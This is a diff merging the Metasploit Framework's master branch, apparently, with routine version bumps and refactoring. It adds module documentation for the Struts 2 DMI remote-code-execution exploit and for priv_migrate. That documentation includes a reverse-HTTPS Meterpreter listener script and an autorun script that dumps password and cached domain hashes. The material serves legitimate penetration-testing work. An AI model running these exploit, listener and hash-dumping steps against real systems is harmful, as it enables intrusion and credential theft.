Merge branch 'master' into staging/rails-upgrade
commit
19af279ce9
|
@ -1 +1 @@
|
|||
2.1.9
|
||||
2.3.1
|
||||
|
|
|
@ -10,7 +10,7 @@ addons:
|
|||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.1.8'
|
||||
- '2.3.1'
|
||||
|
||||
env:
|
||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
|
|
|
@ -81,7 +81,7 @@ GIT
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.24)
|
||||
metasploit-framework (4.11.26)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -93,7 +93,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.8)
|
||||
metasploit-payloads (= 1.1.10)
|
||||
metasploit_data_models
|
||||
msgpack
|
||||
network_interface
|
||||
|
@ -205,7 +205,7 @@ GEM
|
|||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
metasploit-payloads (1.1.8)
|
||||
metasploit-payloads (1.1.10)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.0)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
@ -213,7 +213,7 @@ GEM
|
|||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.5)
|
||||
multi_json (1.11.3)
|
||||
multi_json (1.12.0)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
network_interface (0.0.1)
|
||||
|
|
|
@ -23,13 +23,27 @@
|
|||
document.getElementById('overview_info').style.display = "none";
|
||||
document.getElementById('knowledge_base').style.display = "inline";
|
||||
}
|
||||
|
||||
function initDoc() {
|
||||
var kb = document.getElementById('knowledge_base');
|
||||
var oi = document.getElementById('overview_info');
|
||||
oi.style.display = "none";
|
||||
kb.style.display = "inline";
|
||||
|
||||
var kb_button = document.getElementById('knowledge_base_button');
|
||||
var oi_button = document.getElementById('overview_info_button');
|
||||
kb_button.style.borderColor = "#ccc";
|
||||
kb_button.style.color = "#333";
|
||||
oi_button.style.borderColor = "#EEEEEE";
|
||||
oi_button.style.color = "#C4C4C4";
|
||||
}
|
||||
</script>
|
||||
<% end %>
|
||||
<style>
|
||||
<%= load_css %>
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<body onload="initDoc()">
|
||||
<% unless kb.empty? %>
|
||||
<table border="0">
|
||||
<tr>
|
||||
|
|
|
@ -114,8 +114,8 @@ pre code {
|
|||
padding:10px 5px;
|
||||
border-style:solid;
|
||||
border-width:1px;
|
||||
border-color:#ccc;
|
||||
color:#333;
|
||||
border-color:#EEEEEE;
|
||||
color:#C4C4C4;
|
||||
}
|
||||
#knowledge_base_button {
|
||||
font-family:Arial, sans-serif;
|
||||
|
@ -123,15 +123,12 @@ pre code {
|
|||
padding:10px 5px;
|
||||
border-style:solid;
|
||||
border-width:1px;
|
||||
border-color:#EEEEEE;
|
||||
color:#C4C4C4;
|
||||
border-color:#ccc;
|
||||
color:#333;
|
||||
}
|
||||
#overview_info_button:hover, #knowledge_base_button:hover {
|
||||
cursor: pointer;
|
||||
}
|
||||
#knowledge_base {
|
||||
display: none;
|
||||
}
|
||||
#long_list {
|
||||
height:280px;
|
||||
overflow:auto;
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
struts_dmi_exec is a module that exploits Apache Struts 2's Dynamic Method Invocation,
|
||||
and it supports Windows and Linux platforms.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
|
||||
The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
|
||||
and ```struts.devMode``` to false.
|
||||
|
||||
For testing purposes, here is how you would set up the vulnerable machine:
|
||||
|
||||
1. Download Apache Tomcat
|
||||
2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
|
||||
3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/241784/struts2-blank.tar.gz).
|
||||
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
|
||||
5. Extract Apache Tomcat.
|
||||
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
|
||||
7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
|
||||
8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
|
||||
9. Remove other users.
|
||||
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
|
||||
11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```
|
||||
12. Navigate to the Apache Tomcat server with a browser on port 8080.
|
||||
13. Click on Manager App
|
||||
14. In the WAR file to deploy section, deploy struts2-blank.war
|
||||
15. Stop struts2-blank in the manager app.
|
||||
16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-blank/WEB-INF/classes```, open struts.xml with a text editor.
|
||||
17. In the XML file, update ```struts.enable.DynamicMethodInvocation``` to true
|
||||
18. In the XML file, update ```struts.devMode``` to false.
|
||||
19. Back to Apache Tomcat's manager app. Start the struts2-blank again.
|
||||
|
||||
And now you have a vulnerable server.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TMPPATH**
|
||||
|
||||
By default, the struts_dmi_exec exploit should be ready to go without much configuration. However,
|
||||
in case you need to change where the payload should be uploaded to, make sure to set the correct
|
||||
target, and then change the TMPPATH datastore option.
|
||||
|
||||
## Scenarios
|
||||
|
||||
struts_dmi_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java, so
|
||||
you don't need to worry about configuring this. Running the module can be as simple as the usage
|
||||
explained in the Overview section.
|
||||
|
||||
However, native payload do have their benefits (for example: Windows Meterpreter has better
|
||||
support than Java), so if you decide to switch to a different platform, here is what you do:
|
||||
|
||||
1. Do ```show targets```, and see which one you should be using
|
||||
2. Do ```set target [id]```
|
||||
3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
|
||||
4. Do: ```set payload [payload name]```
|
||||
5. Do: ```exploit```
|
|
@ -0,0 +1,67 @@
|
|||
## Overview
|
||||
This module evaluates a Windows Meterpreter session's privileges and migrates the session accordingly. The purpose of this module is to enable the scripting of migrations post exploitation, which allows you to immediately run post modules that require system rights.
|
||||
|
||||
You can use this module in situations where incoming sessions may have mixed rights levels and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created.
|
||||
|
||||
The types of migrations that occur are described below:
|
||||
|
||||
- A session with admin rights is migrated to a system owned process.
|
||||
- A session with user rights is migrated to a user level process. If a specified user level process is not running, the module will spawn it and then migrate the session.
|
||||
|
||||
This module is a nice addition to the beginning of an autorun script for post-Meterpreter session creation. An example of an autorun script is provided below.
|
||||
|
||||
## Module Options
|
||||
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
|
||||
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
|
||||
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
|
||||
|
||||
## Module Process
|
||||
Here is the process that the module follows:
|
||||
|
||||
- Retrieves the privilege information for the current session.
|
||||
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
|
||||
- ANAME (Module option, if specified)
|
||||
- services.exe
|
||||
- winlogon.exe
|
||||
- wininit.exe
|
||||
- lsm.exe
|
||||
- lsass.exe
|
||||
- If it is unable to migrate to one of these processes, it drops to user level migration.
|
||||
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
|
||||
- NAME (Module option, if specified)
|
||||
- explorer.exe
|
||||
- notepad.exe
|
||||
- If it cannot migrate, it attempts to spawn the process and migrates to the newly spawned process.
|
||||
|
||||
## Using This Module with AutoRun Scripts
|
||||
The use of autorun scripts with this module is an easy way to automate post-exploitation for incoming Meterpreter sessions. The following section describes the basic setup information and provides a script example to show how this module comes in handy.
|
||||
|
||||
### Basic Setup Information
|
||||
Resource file (.rc) scripts can be used to automate many processes in Metasploit, particularly starting up the console and running scripts once a session is created.
|
||||
|
||||
Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit Framework is loaded.
|
||||
|
||||
```
|
||||
./msfconsole -r /home/user/startup.rc
|
||||
```
|
||||
|
||||
The following is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation.
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_https
|
||||
set LHOST 192.168.1.101
|
||||
set LPORT 13002
|
||||
set ExitOnSession false
|
||||
set AutoRunScript multi_console_command -rc /home/user/auto.rc
|
||||
exploit -j
|
||||
```
|
||||
|
||||
### AutoRun Script Example
|
||||
This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires system rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with user rights, the hash dump modules will fail, but that is unlikely to impact the state of the session.
|
||||
|
||||
```
|
||||
run post/windows/manage/priv_migrate
|
||||
run post/windows/gather/hashdump
|
||||
run post/windows/gather/cachedump
|
||||
```
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.24"
|
||||
VERSION = "4.11.26"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -304,6 +304,36 @@ def scanner_show_progress
|
|||
end
|
||||
end
|
||||
|
||||
def add_delay_jitter(_delay, _jitter)
|
||||
# Introduce the delay
|
||||
delay_value = _delay.to_i
|
||||
original_value = delay_value
|
||||
jitter_value = _jitter.to_i
|
||||
|
||||
# Retrieve the jitter value and delay value
|
||||
# Delay = number of milliseconds to wait between each request
|
||||
# Jitter = percentage modifier. For example:
|
||||
# Delay is 1000ms (i.e. 1 second), Jitter is 50.
|
||||
# 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request
|
||||
# delay will be 1000 +/- a maximum of 500ms.
|
||||
if delay_value > 0
|
||||
if jitter_value > 0
|
||||
rnd = Random.new
|
||||
if (rnd.rand(2) == 0)
|
||||
delay_value += rnd.rand(jitter_value)
|
||||
else
|
||||
delay_value -= rnd.rand(jitter_value)
|
||||
end
|
||||
if delay_value < 0
|
||||
delay_value = 0
|
||||
end
|
||||
end
|
||||
final_delay = delay_value.to_f / 1000.0
|
||||
vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)")
|
||||
sleep final_delay
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'uri'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
|
@ -370,24 +371,47 @@ module Exploit::Remote::HttpClient
|
|||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
|
||||
redirect_depth -= 1
|
||||
location = res.redirection
|
||||
return res if location.nil?
|
||||
|
||||
opts['redirect_uri'] = location
|
||||
opts['uri'] = location.path
|
||||
opts['rhost'] = location.host
|
||||
opts['vhost'] = location.host
|
||||
opts['rport'] = location.port
|
||||
|
||||
if location.scheme == 'https'
|
||||
opts['ssl'] = true
|
||||
else
|
||||
opts['ssl'] = false
|
||||
end
|
||||
return res if res.redirection.nil?
|
||||
|
||||
reconfig_redirect_opts!(res, opts)
|
||||
send_request_cgi!(opts, actual_timeout, redirect_depth)
|
||||
end
|
||||
|
||||
|
||||
# Modifies the HTTP request options for a redirection.
|
||||
#
|
||||
# @param res [Rex::Proto::HTTP::Response] HTTP Response.
|
||||
# @param opts [Hash] The HTTP request options to modify.
|
||||
# @return [void]
|
||||
def reconfig_redirect_opts!(res, opts)
|
||||
location = res.redirection
|
||||
|
||||
if location.relative?
|
||||
parent_path = File.dirname(opts['uri'].to_s)
|
||||
parent_path = '/' if parent_path == '.'
|
||||
new_redirect_uri = normalize_uri(parent_path, location.path.gsub(/^\./, ''))
|
||||
opts['redirect_uri'] = new_redirect_uri
|
||||
opts['uri'] = new_redirect_uri
|
||||
opts['rhost'] = datastore['RHOST']
|
||||
opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost()
|
||||
opts['rport'] = datastore['RPORT']
|
||||
|
||||
opts['ssl'] = ssl
|
||||
else
|
||||
opts['redirect_uri'] = location
|
||||
opts['uri'] = location.path
|
||||
opts['rhost'] = location.host
|
||||
opts['vhost'] = location.host
|
||||
opts['rport'] = location.port
|
||||
|
||||
if location.scheme == 'https'
|
||||
opts['ssl'] = true
|
||||
else
|
||||
opts['ssl'] = false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the user/pass into an auth string for the HTTP Client
|
||||
#
|
||||
|
|
|
@ -802,7 +802,7 @@ class Core
|
|||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
print_status("Please wait, generating documentation for #{mod.shortname}")
|
||||
Msf::Util::DocumentGenerator.get_module_document(mod)
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod)
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
end
|
||||
|
|
|
@ -236,6 +236,9 @@ class WindowsError
|
|||
PROCESS_MODE_NOT_BACKGROUND = 403
|
||||
INVALID_ADDRESS = 487
|
||||
|
||||
# Socket stuff
|
||||
ADDRESS_IN_USE = 10048
|
||||
|
||||
#
|
||||
# Return a string representation of the constant for a number
|
||||
#
|
||||
|
@ -687,6 +690,8 @@ class WindowsError
|
|||
"The process is not in background processing mode."
|
||||
when INVALID_ADDRESS
|
||||
"Attempt to access invalid address."
|
||||
when ADDRESS_IN_USE
|
||||
"The address/port is already in use."
|
||||
else
|
||||
"#{code}"
|
||||
end
|
||||
|
|
|
@ -113,7 +113,9 @@ class Channel
|
|||
|
||||
# Transmit the request and wait for the response
|
||||
response = client.send_request(request)
|
||||
cid = response.get_tlv(TLV_TYPE_CHANNEL_ID).value
|
||||
cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||
|
||||
return nil unless cid
|
||||
|
||||
# Create the channel instance
|
||||
channel = klass.new(client, cid, type, flags)
|
||||
|
|
|
@ -599,15 +599,15 @@ class ClientCore < Extension
|
|||
def shutdown
|
||||
request = Packet.create_request('core_shutdown')
|
||||
|
||||
# If this is a standard TCP session, send and return
|
||||
if not client.passive_service
|
||||
self.client.send_packet(request)
|
||||
else
|
||||
if client.passive_service
|
||||
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
||||
# otherwise the session may not receive the command before we
|
||||
# kill the handler. This could be improved by the server side
|
||||
# sending a reply to shutdown first.
|
||||
self.client.send_packet_wait_response(request, 10)
|
||||
else
|
||||
# If this is a standard TCP session, send and forget.
|
||||
self.client.send_packet(request)
|
||||
end
|
||||
true
|
||||
end
|
||||
|
|
|
@ -79,14 +79,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
|||
def self.open(client, params)
|
||||
c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_HOST,
|
||||
'value' => params.localhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_PORT,
|
||||
'value' => params.localport
|
||||
}
|
||||
{'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost},
|
||||
{'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport}
|
||||
] )
|
||||
c.params = params
|
||||
c
|
||||
|
@ -135,14 +129,18 @@ protected
|
|||
def _accept(nonblock = false)
|
||||
result = nil
|
||||
|
||||
channel = @@server_channels[self].deq(nonblock)
|
||||
begin
|
||||
channel = @@server_channels[self].deq(nonblock)
|
||||
|
||||
if channel
|
||||
result = channel.lsock
|
||||
end
|
||||
if channel
|
||||
result = channel.lsock
|
||||
end
|
||||
|
||||
if result != nil && !result.kind_of?(Rex::Socket::Tcp)
|
||||
result.extend(Rex::Socket::Tcp)
|
||||
if result != nil && !result.kind_of?(Rex::Socket::Tcp)
|
||||
result.extend(Rex::Socket::Tcp)
|
||||
end
|
||||
rescue ThreadError
|
||||
# This happens when there's no clients in the queue
|
||||
end
|
||||
|
||||
result
|
||||
|
|
|
@ -46,62 +46,65 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# Options for the route command.
|
||||
#
|
||||
@@route_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ])
|
||||
'-h' => [false, 'Help banner.'])
|
||||
|
||||
#
|
||||
# Options for the portfwd command.
|
||||
#
|
||||
@@portfwd_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-l" => [ true, "The local port to listen on." ],
|
||||
"-r" => [ true, "The remote host to connect to." ],
|
||||
"-p" => [ true, "The remote port to connect to." ],
|
||||
"-L" => [ true, "The local host to listen on (optional)." ])
|
||||
'-h' => [false, 'Help banner.'],
|
||||
'-i' => [true, 'Index of the port forward entry to interact with (see the "list" command).'],
|
||||
'-l' => [true, 'Forward: local port to listen on. Reverse: local port to connect to.'],
|
||||
'-r' => [true, 'Forward: remote host to connect to.'],
|
||||
'-p' => [true, 'Forward: remote port to connect to. Reverse: remote port to listen on.'],
|
||||
'-R' => [false, 'Indicates a reverse port forward.'],
|
||||
'-L' => [true, 'Forward: local host to listen on (optional). Remote: local host to connect to.'])
|
||||
|
||||
#
|
||||
# Options for the netstat command.
|
||||
#
|
||||
@@netstat_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-S" => [ true, "Search string." ])
|
||||
'-h' => [false, 'Help banner.'],
|
||||
'-S' => [true, 'Search string.'])
|
||||
|
||||
#
|
||||
# Options for ARP command.
|
||||
#
|
||||
@@arp_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-S" => [ true, "Search string." ])
|
||||
'-h' => [false, 'Help banner.'],
|
||||
'-S' => [true, 'Search string.'])
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
"ipconfig" => "Display interfaces",
|
||||
"ifconfig" => "Display interfaces",
|
||||
"route" => "View and modify the routing table",
|
||||
"portfwd" => "Forward a local port to a remote service",
|
||||
"arp" => "Display the host ARP cache",
|
||||
"netstat" => "Display the network connections",
|
||||
"getproxy" => "Display the current proxy configuration",
|
||||
'ipconfig' => 'Display interfaces',
|
||||
'ifconfig' => 'Display interfaces',
|
||||
'route' => 'View and modify the routing table',
|
||||
'portfwd' => 'Forward a local port to a remote service',
|
||||
'arp' => 'Display the host ARP cache',
|
||||
'netstat' => 'Display the network connections',
|
||||
'getproxy' => 'Display the current proxy configuration',
|
||||
'resolve' => 'Resolve a set of host names on the target',
|
||||
}
|
||||
|
||||
reqs = {
|
||||
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"route" => [
|
||||
'ipconfig' => ['stdapi_net_config_get_interfaces'],
|
||||
'ifconfig' => ['stdapi_net_config_get_interfaces'],
|
||||
'route' => [
|
||||
# Also uses these, but we don't want to be unable to list them
|
||||
# just because we can't alter them.
|
||||
#"stdapi_net_config_add_route",
|
||||
#"stdapi_net_config_remove_route",
|
||||
"stdapi_net_config_get_routes"
|
||||
#'stdapi_net_config_add_route',
|
||||
#'stdapi_net_config_remove_route',
|
||||
'stdapi_net_config_get_routes'
|
||||
],
|
||||
# Only creates tcp channels, which is something whose availability
|
||||
# we can't check directly at the moment.
|
||||
"portfwd" => [ ],
|
||||
"arp" => [ "stdapi_net_config_get_arp_table" ],
|
||||
"netstat" => [ "stdapi_net_config_get_netstat" ],
|
||||
"getproxy" => [ "stdapi_net_config_get_proxy" ],
|
||||
'portfwd' => [],
|
||||
'arp' => ['stdapi_net_config_get_arp_table'],
|
||||
'netstat' => ['stdapi_net_config_get_netstat'],
|
||||
'getproxy' => ['stdapi_net_config_get_proxy'],
|
||||
'resolve' => ['stdapi_net_resolve_host'],
|
||||
}
|
||||
|
||||
|
@ -123,14 +126,21 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# Name for this dispatcher.
|
||||
#
|
||||
def name
|
||||
"Stdapi: Networking"
|
||||
'Stdapi: Networking'
|
||||
end
|
||||
|
||||
#
|
||||
# Displays network connections of the remote machine.
|
||||
#
|
||||
def cmd_netstat(*args)
|
||||
if args.include?('-h')
|
||||
@@netstat_opts.usage
|
||||
return 0
|
||||
end
|
||||
|
||||
connection_table = client.net.config.netstat
|
||||
search_term = nil
|
||||
|
||||
@@netstat_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-S'
|
||||
|
@ -141,26 +151,23 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
else
|
||||
search_term = /#{search_term}/nmi
|
||||
end
|
||||
when "-h"
|
||||
@@netstat_opts.usage
|
||||
return 0
|
||||
|
||||
end
|
||||
}
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Connection list",
|
||||
'Header' => 'Connection list',
|
||||
'Indent' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
"Proto",
|
||||
"Local address",
|
||||
"Remote address",
|
||||
"State",
|
||||
"User",
|
||||
"Inode",
|
||||
"PID/Program name"
|
||||
],
|
||||
'SearchTerm' => search_term)
|
||||
'Columns' => [
|
||||
'Proto',
|
||||
'Local address',
|
||||
'Remote address',
|
||||
'State',
|
||||
'User',
|
||||
'Inode',
|
||||
'PID/Program name'
|
||||
],
|
||||
'SearchTerm' => search_term)
|
||||
|
||||
connection_table.each { |connection|
|
||||
tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str,
|
||||
|
@ -168,9 +175,9 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
}
|
||||
|
||||
if tbl.rows.length > 0
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print_line("\n#{tbl.to_s}")
|
||||
else
|
||||
print_line("Connection list is empty.")
|
||||
print_line('Connection list is empty.')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -178,8 +185,14 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# Displays ARP cache of the remote machine.
|
||||
#
|
||||
def cmd_arp(*args)
|
||||
if args.include?('-h')
|
||||
@@arp_opts.usage
|
||||
return 0
|
||||
end
|
||||
|
||||
arp_table = client.net.config.arp_table
|
||||
search_term = nil
|
||||
|
||||
@@arp_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-S'
|
||||
|
@ -190,21 +203,17 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
else
|
||||
search_term = /#{search_term}/nmi
|
||||
end
|
||||
when "-h"
|
||||
@@arp_opts.usage
|
||||
return 0
|
||||
|
||||
end
|
||||
}
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "ARP cache",
|
||||
'Header' => 'ARP cache',
|
||||
'Indent' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
"IP address",
|
||||
"MAC address",
|
||||
"Interface"
|
||||
],
|
||||
'Columns' => [
|
||||
'IP address',
|
||||
'MAC address',
|
||||
'Interface'
|
||||
],
|
||||
'SearchTerm' => search_term)
|
||||
|
||||
arp_table.each { |arp|
|
||||
|
@ -212,9 +221,9 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
}
|
||||
|
||||
if tbl.rows.length > 0
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print_line("\n#{tbl.to_s}")
|
||||
else
|
||||
print_line("ARP cache is empty.")
|
||||
print_line('ARP cache is empty.')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -226,7 +235,7 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
ifaces = client.net.config.interfaces
|
||||
|
||||
if (ifaces.length == 0)
|
||||
print_line("No interfaces were found.")
|
||||
print_line('No interfaces were found.')
|
||||
else
|
||||
ifaces.sort{|a,b| a.index <=> b.index}.each do |iface|
|
||||
print("\n" + iface.pretty + "\n")
|
||||
|
@ -242,20 +251,23 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
def cmd_route(*args)
|
||||
# Default to list
|
||||
if (args.length == 0)
|
||||
args.unshift("list")
|
||||
args.unshift('list')
|
||||
end
|
||||
|
||||
# Check to see if they specified -h
|
||||
@@route_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print(
|
||||
"Usage: route [-h] command [args]\n\n" +
|
||||
"Display or modify the routing table on the remote machine.\n\n" +
|
||||
"Supported commands:\n\n" +
|
||||
" add [subnet] [netmask] [gateway]\n" +
|
||||
" delete [subnet] [netmask] [gateway]\n" +
|
||||
" list\n\n")
|
||||
when '-h'
|
||||
print_line('Usage: route [-h] command [args]')
|
||||
print_line
|
||||
print_line('Display or modify the routing table on the remote machine.')
|
||||
print_line
|
||||
print_line('Supported commands:')
|
||||
print_line
|
||||
print_line(' add [subnet] [netmask] [gateway]')
|
||||
print_line(' delete [subnet] [netmask] [gateway]')
|
||||
print_line(' list')
|
||||
print_line
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
@ -264,21 +276,20 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
|
||||
# Process the commands
|
||||
case cmd
|
||||
when "list"
|
||||
when 'list'
|
||||
routes = client.net.config.routes
|
||||
|
||||
# IPv4
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "IPv4 network routes",
|
||||
'Header' => 'IPv4 network routes',
|
||||
'Indent' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
"Subnet",
|
||||
"Netmask",
|
||||
"Gateway",
|
||||
"Metric",
|
||||
"Interface"
|
||||
])
|
||||
'Columns' => [
|
||||
'Subnet',
|
||||
'Netmask',
|
||||
'Gateway',
|
||||
'Metric',
|
||||
'Interface'
|
||||
])
|
||||
|
||||
routes.select {|route|
|
||||
Rex::Socket.is_ipv4?(route.netmask)
|
||||
|
@ -287,23 +298,22 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
}
|
||||
|
||||
if tbl.rows.length > 0
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print_line("\n#{tbl.to_s}")
|
||||
else
|
||||
print_line("No IPv4 routes were found.")
|
||||
print_line('No IPv4 routes were found.')
|
||||
end
|
||||
|
||||
# IPv6
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "IPv6 network routes",
|
||||
'Header' => 'IPv6 network routes',
|
||||
'Indent' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
"Subnet",
|
||||
"Netmask",
|
||||
"Gateway",
|
||||
"Metric",
|
||||
"Interface"
|
||||
])
|
||||
'Columns' => [
|
||||
'Subnet',
|
||||
'Netmask',
|
||||
'Gateway',
|
||||
'Metric',
|
||||
'Interface'
|
||||
])
|
||||
|
||||
routes.select {|route|
|
||||
Rex::Socket.is_ipv6?(route.netmask)
|
||||
|
@ -312,37 +322,37 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
}
|
||||
|
||||
if tbl.rows.length > 0
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print("\n#{tbl.to_s}")
|
||||
else
|
||||
print_line("No IPv6 routes were found.")
|
||||
print_line('No IPv6 routes were found.')
|
||||
end
|
||||
|
||||
when "add"
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error "Invalid IP Address"
|
||||
return false
|
||||
end
|
||||
when 'add'
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error "Invalid IP Address"
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error "Invalid Subnet mask"
|
||||
return false
|
||||
end
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error 'Invalid Subnet mask'
|
||||
return false
|
||||
end
|
||||
|
||||
print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
|
||||
|
||||
client.net.config.add_route(*args)
|
||||
when "delete"
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error "Invalid IP Address"
|
||||
return false
|
||||
end
|
||||
when 'delete'
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error 'Invalid IP Address'
|
||||
return false
|
||||
end
|
||||
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error "Invalid Subnet mask"
|
||||
return false
|
||||
end
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error 'Invalid Subnet mask'
|
||||
return false
|
||||
end
|
||||
|
||||
print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
|
||||
|
||||
|
@ -357,28 +367,34 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# network. This provides an elementary pivoting interface.
|
||||
#
|
||||
def cmd_portfwd(*args)
|
||||
args.unshift("list") if args.empty?
|
||||
